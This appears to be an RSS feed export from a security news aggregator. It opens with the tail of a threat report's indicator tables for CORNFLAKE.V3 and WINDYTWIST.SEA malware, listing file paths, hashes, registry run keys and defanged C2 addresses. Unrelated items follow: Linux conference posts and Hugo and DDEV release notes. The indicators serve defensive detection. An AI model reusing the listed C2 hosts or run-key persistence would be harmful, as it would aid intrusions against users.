<p><strong><span>SHA-256 Hash</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;User&gt;\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log</span></p>
</td>
<td>
<p><span>Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence</span></p>
</td>
<td>
<p>000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b</p>
</td>
</tr>
<tr>
<td>
<p><span>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater</span></p>
</td>
<td>
<p><span>Registry run key that executes the CORNFLAKE.V3 (Node.js) sample</span></p>
</td>
<td>
<p><span>N/A</span></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;User&gt;\AppData\Roaming\php\config.cfg</span></p>
</td>
<td>
<p><span>CORNFLAKE.V3 (PHP) sample</span></p>
</td>
<td>
<p>a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1</p>
</td>
</tr>
<tr>
<td>
<p><span>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube</span></p>
</td>
<td>
<p><span>Registry run key that executes the CORNFLAKE.V3 (PHP) sample</span></p>
</td>
<td>
<p><span>N/A</span></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;User&gt;\AppData\Roaming\Shift194340\78G0ZrQi.png</span></p>
</td>
<td>
<p><span>WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP)</span></p>
</td>
<td>
<p>14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c</p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4>Network-Based Artifacts</h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>IP Address</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><code>138.199.161[.]141</code></p>
</td>
<td>
<p><span>IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware</span></p>
</td>
</tr>
<tr>
<td>
<p><code>159.69.3[.]151</code></p>
</td>
<td>
<p><span>CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774</span></p>
</td>
</tr>
<tr>
<td>
<p><code>varying-rentals-calgary-predict.trycloudflare[.]com</code></p>
</td>
<td>
<p><span>CORNFLAKE.V3 (PHP) C2 server associated with UNC5774</span></p>
</td>
</tr>
<tr>
<td>
<p><code>dnsmicrosoftds-data[.]com</code></p>
<p><code>windows-msg-as[.]live</code></p>
</td>
<td>
<p><span>Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware</span></p>
</td>
</tr>
<tr>
<td>
<p><code>167.235.235[.]151</code></p>
<p><code>128.140.120[.]188</code></p>
<p><code>177.136.225[.]135</code></p>
</td>
<td>
<p><span>WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ESC Brazil - Realtime Linux with RT_PREEMPT]]></title>
<description><![CDATA[Two weeks ago I’d give a
talk
about realtime Linux at ESC Brazil: “Usando Linux como Sistema de Tempo
Real” (Using Linux as a realtime OS). Sadly some days before while
playing soccer  I broke my fibula and I had to have a surgery. I regret
I couldn’t attend this conference.
At least in the compa...]]></description>
<link>https://tsecurity.de/de/3501219/downloads/esc-brazil-realtime-linux-withrtpreempt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501219/downloads/esc-brazil-realtime-linux-withrtpreempt/</guid>
<pubDate>Fri, 08 May 2026 23:06:57 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two weeks ago <a href="http://www.escbrazil.com.br/index.php?canal=conferencias&amp;pgID=100511-190927-0c941272">I’d give a
talk</a>
about realtime Linux at <span class="caps">ESC</span> Brazil: “Usando Linux como Sistema de Tempo
Real” (Using Linux as a realtime <span class="caps">OS</span>). Sadly some days before while
playing soccer  I broke my fibula and I had to have a surgery. I regret
I couldn’t attend this conference.</p>
<p>At least in the company I work for there are more people with knowledge
in this area. <a href="http://blog.gustavobarbieri.com.br/2011/06/02/esc-brazil-realtime-linux-with-rt_preempt/">Gustavo
Barbieri</a>
went there in my place and had a <a href="http://www.sergioprado.org/2011/05/25/relato-do-esc-brasil-2011-dia-2/">good
feedback</a>
from the attendees.</p>
<p>Now I have stay home. At least for 1 or 2 months :-(.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seminário de Linux Embarcado 2011]]></title>
<description><![CDATA[No último final de semana participei do Seminário de Linux
Embarcado,
em que palestrei sobre “systemd: repensando a inicialização”. O feedback
que tive do pessoal foi positivo, mostrando bastante interesse nos
diversos tipos de inicialização sob demanda, exclusivos desse sistema de
init. Os slide...]]></description>
<link>https://tsecurity.de/de/3501216/downloads/seminrio-de-linux-embarcado2011/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501216/downloads/seminrio-de-linux-embarcado2011/</guid>
<pubDate>Fri, 08 May 2026 23:06:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>No último final de semana participei do <a href="http://www.temporealeventos.com.br/?area=175-seminario-tempo-real-eventos-e-portal-embarcados-linux-embarcado-Conceitos-ferramentas-de-desenvolvimento-e-novas-tendencias-sobre-a-utilizacao-de-Linux-em-sistemas-embarcados">Seminário de Linux
Embarcado</a>,
em que palestrei sobre “systemd: repensando a inicialização”. O feedback
que tive do pessoal foi positivo, mostrando bastante interesse nos
diversos tipos de inicialização sob demanda, exclusivos desse sistema de
init. <a href="https://politreco.com/files/2011_sem_linux_embarcado.pdf">Os slides estão disponíveis aqui no
blog</a>.</p>
<p>Gostei bastante do evento, que teve também participação do Antognolli,
que trabalha comigo, sobre interfaces gráficas em sistemas embarcados
usando o conjunto de bibliotecas <span class="caps">EFL</span>. Outro conhecido meu de outras
conferências, Glauber Costa, falou sobre <span class="caps">QEMU</span>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.159.0]]></title>
<description><![CDATA[This release greatly improves and simplifies management of Node.js/npm dependencies in a multi-module setup. See this page for more information.
Note

Replace deprecated site.Data with hugo.Data in tests a8fca59 @bep
Replace deprecated excludeFiles and includeFiles with files in tests 182b104 @be...]]></description>
<link>https://tsecurity.de/de/3497333/downloads/v01590/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497333/downloads/v01590/</guid>
<pubDate>Thu, 07 May 2026 22:31:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release greatly improves and simplifies management of Node.js/npm dependencies in a multi-module setup. See <a href="https://gohugo.io/hugo-modules/nodejs-dependencies/" rel="nofollow">this page</a> for more information.</p>
<h2>Note</h2>
<ul>
<li>Replace deprecated site.Data with hugo.Data in tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a8fca598e6c33aea1257970e791bbf80891b89c0/hovercard" href="https://github.com/gohugoio/hugo/commit/a8fca598e6c33aea1257970e791bbf80891b89c0"><tt>a8fca59</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Replace deprecated excludeFiles and includeFiles with files in tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/182b104571efdfc05a328a339cbcf16b94a90337/hovercard" href="https://github.com/gohugoio/hugo/commit/182b104571efdfc05a328a339cbcf16b94a90337"><tt>182b104</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Replace deprecated :filename with :contentbasename in the permalinks test <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/eb11c3d0bc4642ed454521135810ed0ea7cf48b9/hovercard" href="https://github.com/gohugoio/hugo/commit/eb11c3d0bc4642ed454521135810ed0ea7cf48b9"><tt>eb11c3d</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
</ul>
<h2>Bug fixes</h2>
<ul>
<li>tpl/tplimpl: Fix Vimeo shortcode test <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/eaf4c7515a63224b75279575d7ffc8c0ec40776b/hovercard" href="https://github.com/gohugoio/hugo/commit/eaf4c7515a63224b75279575d7ffc8c0ec40776b"><tt>eaf4c75</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4101481247" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14649" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14649/hovercard" href="https://github.com/gohugoio/hugo/issues/14649">#14649</a></li>
</ul>
<h2>Improvements</h2>
<ul>
<li>create: Return error instead of panic when page not found <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/807cae1df11cc83edadcdad29ed762870b5d48fa/hovercard" href="https://github.com/gohugoio/hugo/commit/807cae1df11cc83edadcdad29ed762870b5d48fa"><tt>807cae1</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mango766/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mango766">@mango766</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3590327714" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14112" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14112/hovercard" href="https://github.com/gohugoio/hugo/issues/14112">#14112</a></li>
<li>commands: Preserve non-content files in convert output <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/c4fb61d9dfb7a2a638ef69ef8ba4e4dc3ecd93ef/hovercard" href="https://github.com/gohugoio/hugo/commit/c4fb61d9dfb7a2a638ef69ef8ba4e4dc3ecd93ef"><tt>c4fb61d</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xndvaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xndvaz">@xndvaz</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="314404039" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/4621" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/4621/hovercard" href="https://github.com/gohugoio/hugo/issues/4621">#4621</a></li>
<li>npm: Use workspaces to simplify <code>hugo mod npm pack</code> <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d88a29e002ebc31bf9b4e1e024f141cc0b39a657/hovercard" href="https://github.com/gohugoio/hugo/commit/d88a29e002ebc31bf9b4e1e024f141cc0b39a657"><tt>d88a29e</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>commands: Close cpu profile file when StartCPUProfile fails <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/9dd9c7602728df6cfebe04115b40d9e01a428e45/hovercard" href="https://github.com/gohugoio/hugo/commit/9dd9c7602728df6cfebe04115b40d9e01a428e45"><tt>9dd9c76</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buley">@buley</a></li>
<li>Remove the AI Watchdog workflow for now <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/3315a86d67dafda106eb8e422f8aebff67bff92d/hovercard" href="https://github.com/gohugoio/hugo/commit/3315a86d67dafda106eb8e422f8aebff67bff92d"><tt>3315a86</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Remove 'bep' from PR user logins skip list <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/38244842e0bba753d457b5a4f3913f06d3a22d56/hovercard" href="https://github.com/gohugoio/hugo/commit/38244842e0bba753d457b5a4f3913f06d3a22d56"><tt>3824484</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>tpl/tplimpl: Comment out the Vimeo simple shortcode tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/7813c5c89dcd21fe197b2be6f36fe3c217b60935/hovercard" href="https://github.com/gohugoio/hugo/commit/7813c5c89dcd21fe197b2be6f36fe3c217b60935"><tt>7813c5c</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4101481247" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14649" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14649/hovercard" href="https://github.com/gohugoio/hugo/issues/14649">#14649</a></li>
</ul>
<h2>Dependency Updates</h2>
<ul>
<li>build(deps): bump github.com/olekukonko/tablewriter from 1.1.3 to 1.1.4 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4086961763" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14641" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14641/hovercard" href="https://github.com/gohugoio/hugo/pull/14641">#14641</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/3ff9b7f89ffd3672e0c02cd43f61ff05128f3d83/hovercard" href="https://github.com/gohugoio/hugo/commit/3ff9b7f89ffd3672e0c02cd43f61ff05128f3d83"><tt>3ff9b7f</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/yuin/goldmark from 1.7.16 to 1.7.17 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/be93ccd30419f1630497c7d1be421441e9a64994/hovercard" href="https://github.com/gohugoio/hugo/commit/be93ccd30419f1630497c7d1be421441e9a64994"><tt>be93ccd</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/magefile/mage from 1.15.0 to 1.16.1 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/2669bca6fd218a2930984f8c65b9cf15e7d33d10/hovercard" href="https://github.com/gohugoio/hugo/commit/2669bca6fd218a2930984f8c65b9cf15e7d33d10"><tt>2669bca</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/image from 0.36.0 to 0.37.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/753d447f11ef3b26bc0bfe83cebaf1404d8fbb8c/hovercard" href="https://github.com/gohugoio/hugo/commit/753d447f11ef3b26bc0bfe83cebaf1404d8fbb8c"><tt>753d447</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump google.golang.org/grpc from 1.78.0 to 1.79.3 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4f39d724fe3d7ac8bc37fcc9136fa30eb0359c6b/hovercard" href="https://github.com/gohugoio/hugo/commit/4f39d724fe3d7ac8bc37fcc9136fa30eb0359c6b"><tt>4f39d72</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
</ul>
<h2>Documentation</h2>
<ul>
<li>docs: Update docs.yaml <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d2043cfae59468ba2e33d3d3d70a1d45bb2c081b/hovercard" href="https://github.com/gohugoio/hugo/commit/d2043cfae59468ba2e33d3d3d70a1d45bb2c081b"><tt>d2043cf</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>commands: Update docs linke to Node.js docs <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4f3c39890e53ff4bf66cfe4df95426708f50bfa2/hovercard" href="https://github.com/gohugoio/hugo/commit/4f3c39890e53ff4bf66cfe4df95426708f50bfa2"><tt>4f3c398</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.25.0]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the Windows Installer; you can run it for inst...]]></description>
<link>https://tsecurity.de/de/3497297/downloads/v1250/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497297/downloads/v1250/</guid>
<pubDate>Thu, 07 May 2026 22:17:20 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://ddev.com/download/" rel="nofollow">Windows Installer</a>; you can run it for install or upgrade. <code>winget install --interactive ddev</code> works too.<br>
<g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> <strong>Traditional Windows users (not WSL2)</strong>: If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>Highlights</h2>
<h3>New defaults</h3>
<ul>
<li>Debian <strong>Trixie</strong> is now the base image for <code>ddev-webserver</code> and <code>ddev-ssh-agent</code> (replacing Debian Bookworm). See <a href="https://www.debian.org/releases/trixie/release-notes/issues.html" rel="nofollow">Issues to be aware of for Trixie</a>.<br>
(Some projects with complex Dockerfiles or obsolete <code>webimage_extra_packages</code> may need to be updated.)</li>
<li><a href="https://ddev.com/blog/xhgui-feature/" rel="nofollow"><strong>XHGui</strong></a> is now the default profiler (prepend mode remains available via <code>ddev config global --xhprof-mode=prepend</code>).</li>
<li><strong>Node.js v24</strong> is default in new projects (replacing Node.js v22)</li>
<li><strong>PHP 8.4</strong> is default in new projects (replacing PHP 8.3)</li>
<li><strong>MariaDB 11.8</strong> is default in new projects (replacing MariaDB 10.11)</li>
</ul>
<h3>Additional highlights</h3>
<ul>
<li>Completely revised <strong><a href="https://ddev.com/download/" rel="nofollow">Windows installer</a></strong> now uses <strong>per-user installation</strong> for WSL2 or traditional Windows (no admin account required)</li>
<li>Reworked configurable <code>ddev share</code> command with a new <strong>cloudflared</strong> share provider, see <a href="https://docs.ddev.com/en/stable/users/topics/sharing/" rel="nofollow">new docs</a> and <a href="https://ddev.com/blog/share-providers/" rel="nofollow">blog</a></li>
<li>Add <code>ddev utility xdebug-diagnose</code> command, see <a href="https://ddev.com/blog/xdebug-step-debugging-understanding-and-troubleshooting/" rel="nofollow">Xdebug in DDEV: Understanding, Debugging, and Troubleshooting Step Debugging</a></li>
<li>Add <code>ddev utility mutagen-diagnose</code> command, see <a href="https://ddev.com/blog/mutagen-functionality-issues-debugging/" rel="nofollow">Mutagen in DDEV: Functionality, Issues, and Debugging</a></li>
<li><code>ddev pantheon pull</code> got new <code>DDEV_PANTHEON_SITE</code>, <code>DDEV_PANTHEON_ENVIRONMENT</code>, <code>DDEV_USE_PANTHEON_BACKUP</code> variables, see updated <a href="https://docs.ddev.com/en/stable/users/providers/pantheon/" rel="nofollow">Pantheon Integration</a></li>
<li><code>ddev snapshot</code> now uses <strong>zstd</strong> instead of gzip for significantly faster exports and restores, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/quickstart/#codeigniter" rel="nofollow">CodeIgniter</a> project type, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a></li>
<li>Experimental support for <strong>Podman</strong> and <strong>Docker Rootless</strong>, see <a href="https://ddev.com/blog/podman-and-docker-rootless/" rel="nofollow">Podman and Docker Rootless in DDEV</a></li>
<li><a href="https://github.com/ddev/ddev-frankenphp"><code>ddev-frankenphp</code></a> is an official add-on with many improvements, see updated <a href="https://ddev.com/blog/using-frankenphp-with-ddev/" rel="nofollow">Using FrankenPHP with DDEV</a></li>
</ul>
<h2>Features</h2>
<ul>
<li>New <a href="https://docs.ddev.com/en/stable/users/quickstart/#wagtail-python-generic" rel="nofollow">Wagtail (Python, Generic)</a> quickstart</li>
<li>Added Drupal 12 project type (development branch). Drupal 12 has not yet been released, but it's showing up in developer builds already.</li>
<li>New <code>--no-cache</code> flag for <code>ddev start</code> and <code>ddev restart</code> (as an alternative to <code>ddev utility rebuild</code>)</li>
<li>Improved support for non-Codespaces devcontainers</li>
<li>Refactored <code>ddev add-on</code> subcommands with a fallback mechanism to avoid GitHub API rate limits</li>
<li>Much faster <code>ddev add-on list</code> and <code>ddev add-on search</code></li>
<li>Shell autocompletion for <code>ddev add-on get &lt;TAB&gt;</code></li>
<li>SELinux enviroment detection (auto <a href="https://docs.docker.com/engine/storage/bind-mounts/#configure-the-selinux-label" rel="nofollow">SELinux label</a> for bind mounts)</li>
<li>Support for additional SSH config files (<code>*.conf</code>) in <code>.ddev/homeadditions/.ssh/config.d</code> (global or project-level), see <a href="https://docs.ddev.com/en/stable/users/extend/in-container-configuration/#ssh-configuration" rel="nofollow">SSH confugation</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a></li>
<li>More portable database collations. Databases imported and exported from newer MySQL and MariaDB are less likely to have problems with proprietary collations like <code>utf8mb4_0900_ai_ci</code> and <code>utf8mb4_uca1400_ai_ci</code> as they use more traditional collations in DDEV.</li>
<li>DBeaver support for traditional Windows, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a></li>
</ul>
<h2>Traefik Router Features, Fixes, and Breaking Changes</h2>
<ul>
<li>Project Traefik configuration is now standardized to a single file: <code>.ddev/traefik/config/&lt;projectname&gt;.yaml</code> (all other files are ignored). See <a href="https://github.com/ddev/ddev/issues/8047" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8047/hovercard">issue #8047</a>.</li>
<li>Add any global Traefik configuration inside the <code>$HOME/.ddev/traefik/custom-global-config/</code> directory</li>
<li>Removed <code>defaultRuleSyntax: v2</code> and <code>ruleSyntax: v3</code> from Traefik configs. Traefik v3 syntax is now used by default.</li>
<li>Traefik configuration errors now show warnings instead of failing hard</li>
<li>Improved Traefik health checks for more reliable router verification</li>
<li>Prevent unnecessary router recreation when bound ports are unchanged</li>
<li><code>ddev-router</code> is no longer stopped automatically when the last project is stopped, use <code>ddev poweroff</code> to fully stop the router</li>
<li>Traefik monitoring port is now bound to localhost only, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a></li>
<li>Paused or stopped projects are excluded from Traefik configuration</li>
<li>Bypass router port checks when all ports appear busy (for example, when endpoint security software intercepts localhost traffic)</li>
</ul>
<h2>Breaking Changes / Removals</h2>
<ul>
<li>Default <code>xhprof_mode</code> changed from "prepend" to "xhgui" but you can easily change it back</li>
<li>Removed <code>ddev utility capabilities</code>, use <a href="https://docs.ddev.com/en/stable/users/configuration/config/#ddev_version_constraint" rel="nofollow"><code>ddev_version_constraint</code></a> instead in add-ons.</li>
<li>Removed NFS support, use <a href="https://docs.ddev.com/en/stable/users/install/performance/#filesystem-performance-mutagen" rel="nofollow">Mutagen</a></li>
<li>Removed <code>ddev service</code>, custom services can be installed/uninstalled via <a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on" rel="nofollow"><code>ddev add-on</code></a></li>
<li>Removed <code>ddev nvm</code>, install the <a href="https://github.com/ddev/ddev-nvm"><code>ddev-nvm</code></a> add-on if needed</li>
<li>Removed obsolete or non-functional commands and command aliases:
<ul>
<li><code>ddev restore-snapshot</code></li>
<li><code>ddev auth pantheon</code></li>
<li><code>ddev config pantheon</code></li>
</ul>
</li>
<li>Removed obsolete <code>ddev config</code> flags:
<ul>
<li><code>--mutagen-enabled</code> (use <code>--performance-mode=mutagen</code>)</li>
<li><code>--upload-dir</code> (use <code>--upload-dirs</code>)</li>
<li><code>--db-image</code>, <code>--db-image-default</code> (never documented or used)</li>
</ul>
</li>
<li>Removed deprecated <code>ddev config</code> flag aliases:
<ul>
<li><code>--http-port</code> → <code>--router-http-port</code></li>
<li><code>--https-port</code> → <code>--router-https-port</code></li>
<li><code>--mailhog-port</code> → <code>--mailpit-http-port</code></li>
<li><code>--mailhog-https-port</code> → <code>--mailpit-https-port</code></li>
<li><code>--projectname</code> → <code>--project-name</code></li>
<li><code>--projecttype</code>, <code>--apptype</code> → <code>--project-type</code></li>
<li><code>--sitename</code> → <code>--project-name</code></li>
<li><code>--image-defaults</code> → <code>--web-image-default</code></li>
</ul>
</li>
<li>Removed <code>nginx.org</code> repository from <code>ddev-webserver</code>, now using nginx from the Debian Trixie repository</li>
<li>Migrated all APT repositories in <code>ddev-webserver</code> from legacy <code>*.list</code> files to <code>*.sources</code> (deb822) format</li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed <code>ddev heidisql</code> support for multiple databases</li>
<li>Fixed PostgreSQL builds when overriding the database username</li>
<li>Fixed Windows installer behavior on non-English Windows locales</li>
<li>Improved Bash detection for non-admin Windows installations</li>
<li>Fixed <code>host.docker.internal</code> IP detection for WSL2 mirrored mode with virtual adapters present</li>
